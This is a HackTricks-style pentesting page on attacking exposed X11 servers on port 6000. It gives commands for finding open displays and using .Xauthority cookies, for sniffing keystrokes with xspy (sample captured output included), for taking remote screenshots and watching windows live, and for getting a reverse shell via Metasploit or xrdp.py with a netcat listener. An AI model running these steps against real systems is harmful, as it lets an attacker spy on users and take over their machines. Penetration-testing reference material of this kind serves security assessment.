6000 - Pentesting X11

Reading time: 5 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Information

X Window System (X) is a versatile windowing system prevalent on UNIX-based operating systems. It provides a framework for creating graphical user interfaces (GUIs), with individual programs handling the user interface design. This flexibility allows for diverse and customizable experiences within the X environment.

Default port: 6000

PORT STATE SERVICE 6000/tcp open X11

Enumeration

Check for anonymous connection:

bash
nmap -sV --script x11-access -p <PORT> <IP> msf> use auxiliary/scanner/x11/open_x11

Local Enumeration

The file .Xauthority in the users home folder is used by X11 for authorization. From here:

bash
$ xxd ~/.Xauthority 00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M 00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE- 00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X 00000030: 041d ef ...

MIT-magic-cookie-1: Generating 128bit of key (“cookie”), storing it in ~/.Xauthority (or where XAUTHORITY envvar points to). The client sends it to server plain! the server checks whether it has a copy of this “cookie” and if so, the connection is permitted. the key is generated by DMX.

warning

In order to use the cookie you should set the env var: export XAUTHORITY=/path/to/.Xauthority

Local Enumeration Session

bash
$ w 23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session

In the example, localhost:0 was running xfce4-session.

Verfy Connection

bash
xdpyinfo -display <ip>:<display> xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

xspy to sniff the keyboard keystrokes.

Sample Output:

xspy 10.9.xx.xx opened 10.9.xx.xx:0 for snoopng swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123 qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Screenshots capturing

bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd convert screenshot.xwd screenshot.png

Remote Desktop View

Way from: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Way from: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

First we need to find the ID of the window using xwininfo

xwininfo -root -display 10.9.xx.xx:0 xwininfo: Window id: 0x45 (the root window) (has no name) Absolute upper-left X: 0 Absolute upper-left Y: 0 Relative upper-left X: 0 Relative upper-left Y: 0 Width: 1024 Height: 768 Depth: 16 Visual: 0x21 Visual Class: TrueColor Border width: 0 Class: InputOutput Colormap: 0x20 (installed) Bit Gravity State: ForgetGravity Window Gravity State: NorthWestGravity Backing Store State: NotUseful Save Under State: no Map State: IsViewable Override Redirect State: no Corners: +0+0 -0+0 -0-0 +0-0 -geometry 1024x768+0+0

XWatchwin

For live viewing we need to use

bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo ./xwatchwin 10.9.xx.xx:0 -w 0x45

Get Shell

msf> use exploit/unix/x11/x11_keyboard_exec

Other way:

Reverse Shell: Xrdp also allows to take reverse shell via Netcat. Type in the following command:

bash
./xrdp.py \<IP:0> –no-disp

In the interface you can see the R-shell option.

Then, start a Netcat listener in your local system on port 5555.

bash
nc -lvp 5555

Then, put your IP address and port in the R-Shell option and click on R-shell to get a shell

References

Shodan

  • port:6000 x11

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks